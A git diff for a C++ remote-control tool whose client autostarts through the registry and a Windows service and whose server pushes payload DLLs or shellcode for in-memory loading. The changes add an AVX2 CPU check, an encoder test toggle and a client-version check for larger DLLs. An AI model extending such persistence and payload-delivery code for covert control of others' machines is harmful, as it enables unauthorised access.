diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 6c47399..8e8ca8f 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -6,11 +6,22 @@ #include #include #include +#include // for __cpuid, __cpuidex extern "C" { #include "reg_startup.h" #include "ServiceWrapper.h" } +// Check if CPU supports AVX2 instruction set +static BOOL IsAVX2Supported() +{ + int cpuInfo[4] = { 0, 0, 0, 0 }; + __cpuid(cpuInfo, 0); + if (cpuInfo[0] < 7) return FALSE; + __cpuidex(cpuInfo, 7, 0); + return (cpuInfo[1] & (1 << 5)) != 0; // EBX bit 5 = AVX2 +} + // 自动启动注册表中的值 #define REG_NAME GetExeHashStr().c_str() @@ -195,6 +206,14 @@ BOOL CALLBACK callback(DWORD CtrlType) int main(int argc, const char *argv[]) { + // Check AVX2 support at startup + if (!IsAVX2Supported()) { + MessageBoxA(NULL, + "此程序需要支持 AVX2 指令集的 CPU（2013年后的处理器）。您的 CPU 不支持 AVX2，程序无法运行。", + "CPU 不兼容", MB_ICONERROR); + return -1; + } + Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc>1 ? argv[1] : "", argc); InitWindowsService(NewService( g_SETTINGS.installName[0] ? g_SETTINGS.installName : "RemoteControlService", @@ -312,6 +331,13 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance, { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { + // Check AVX2 support before starting + if (!IsAVX2Supported()) { + MessageBoxA(NULL, + "此程序需要支持 AVX2 指令集的 CPU（2013年后的处理器）。您的 CPU 不支持 AVX2，程序无法运行。", + "CPU 不兼容", MB_ICONERROR); + return FALSE; + } g_MyApp.g_hInstance = (HINSTANCE)hInstance; CloseHandle(__CreateThread(NULL, 0, AutoRun, hInstance, 0, NULL)); break; diff --git a/client/ScreenCapture.h b/client/ScreenCapture.h index 82ffe1c..47e2e0e 100644 --- a/client/ScreenCapture.h +++ b/client/ScreenCapture.h @@ -191,6 +191,7 @@ public: m_pScrollDetector(nullptr), m_bEnableScrollDetect(false), m_bServerSupportsScroll(false), m_bLastFrameWasScroll(false), m_nScrollDetectInterval(1) { + SetAlgorithm(algo); m_BitmapInfor_Send = nullptr; m_BmpZoomBuffer = nullptr; m_BmpZoomFirst = nullptr; @@ -985,7 +986,7 @@ public: virtual BYTE SetAlgorithm(int algo) { BYTE oldAlgo = m_bAlgorithm; - m_bAlgorithm = algo; + m_bAlgorithm = (DISABLE_X264_FOR_TEST && algo == ALGORITHM_H264) ? ALGORITHM_RGB565 : algo; return oldAlgo; } diff --git a/client/X264Encoder.cpp b/client/X264Encoder.cpp index aebb2d8..783e4f2 100644 --- a/client/X264Encoder.cpp +++ b/client/X264Encoder.cpp @@ -2,6 +2,15 @@ #include #include +#if DISABLE_X264_FOR_TEST +CX264Encoder::CX264Encoder() { memset(&m_Param, 0, sizeof(m_Param)); m_pCodec = NULL; m_pPicIn = NULL; m_pPicOut = NULL; } +CX264Encoder::~CX264Encoder() {} +bool CX264Encoder::open(int, int, int, int) { return false; } +bool CX264Encoder::open(x264_param_t*) { return false; } +void CX264Encoder::close() {} +int CX264Encoder::encode(uint8_t*, uint8_t, uint32_t, uint32_t, uint32_t, uint8_t**, uint32_t*, int) { return -1; } + +#else #ifdef _WIN64 #pragma comment(lib,"libyuv/libyuv_x64.lib") #pragma comment(lib,"x264/libx264_x64.lib") @@ -153,3 +162,5 @@ int CX264Encoder::encode( *lpSize = encode_size; return 0; } + +#endif diff --git a/client/X264Encoder.h b/client/X264Encoder.h index 4df3f28..77f7917 100644 --- a/client/X264Encoder.h +++ b/client/X264Encoder.h @@ -5,6 +5,8 @@ extern "C" { #include } +#define DISABLE_X264_FOR_TEST 0 + class CX264Encoder { private: diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 30eb337..e6a35cd 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -5555,8 +5555,6 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) bool is64Bit = len > 1 ? ContextObject->InDeCompressedBuffer.GetBYTE(1) : false; int typ = (len > 2 ? ContextObject->InDeCompressedBuffer.GetBYTE(2) : MEMORYDLL); bool isRelease = len > 3 ? ContextObject->InDeCompressedBuffer.GetBYTE(3) : true; - char version[12] = {}; - ContextObject->InDeCompressedBuffer.CopyBuffer(version, 12, 4); std::string clientIP = ContextObject->GetPeerName(); BOOL send = FALSE; @@ -6707,10 +6705,13 @@ BOOL CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, auto id = is64Bit ? PAYLOAD_DLL_X64 : PAYLOAD_DLL_X86; auto buf = isDLL ? m_ServerDLL[id] : m_ServerBin[id]; if (buf->length()) { + char version[12] = {}; + ContextObject->InDeCompressedBuffer.CopyBuffer(version, 12, 4); + bool supportLargeDLL = IsDateGreaterOrEqual(version, DLL_8MB_DATE); // 检查旧客户端是否能接收大 DLL (旧 test.cpp 客户端 bufSize=4MB) // 注：SHELLCODE 请求来自 main.c，一直是 8MB，不需要检查 const size_t OLD_CLIENT_MAX_SIZE = 4 * 1024 * 1024; - if (isDLL && buf->length() > OLD_CLIENT_MAX_SIZE) { + if (isDLL && !supportLargeDLL && buf->length() > OLD_CLIENT_MAX_SIZE) { Mprintf("[SendServerDll] DLL size %.2f MB: use TinyRunDLL instead.\n", buf->length()/1024.); buf = is64Bit ? m_TinyRun[PAYLOAD_DLL_X64] : m_TinyRun[PAYLOAD_DLL_X86]; } diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 639be59..6b0b892 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -87,6 +87,9 @@ bool IsDateGreaterOrEqual(const char* date1, const char* date2); // V2 文件传输协议分界日期（>= 此日期的客户端支持 V2） #define FILE_TRANSFER_V2_DATE "Feb 27 2026" +// 大于此日期客户端支持更大的内存DLL +#define DLL_8MB_DATE "Apr 12 2026" + // 前向声明 class CMy2015RemoteDlg; extern CMy2015RemoteDlg* g_2015RemoteDlg; diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp index 49f2860..6a34564 100644 --- a/server/2015Remote/IOCPServer.cpp +++ b/server/2015Remote/IOCPServer.cpp @@ -823,6 +823,7 @@ BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOr assert(ContextObject); // 输出服务端所发送的命令 int cmd = szBuffer[0]; +#ifdef _DEBUG if (ulOriginalLength < 100 && cmd != COMMAND_SCREEN_CONTROL && cmd != CMD_HEARTBEAT_ACK && cmd != CMD_DRAW_POINT && cmd != CMD_MOVEWINDOW && cmd != CMD_SET_SIZE) { char buf[100] = { 0 }; @@ -833,6 +834,7 @@ BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOr } Mprintf("[COMMAND] Send: %s\r\n", buf); } +#endif try { do { if (ulOriginalLength <= 0) return FALSE;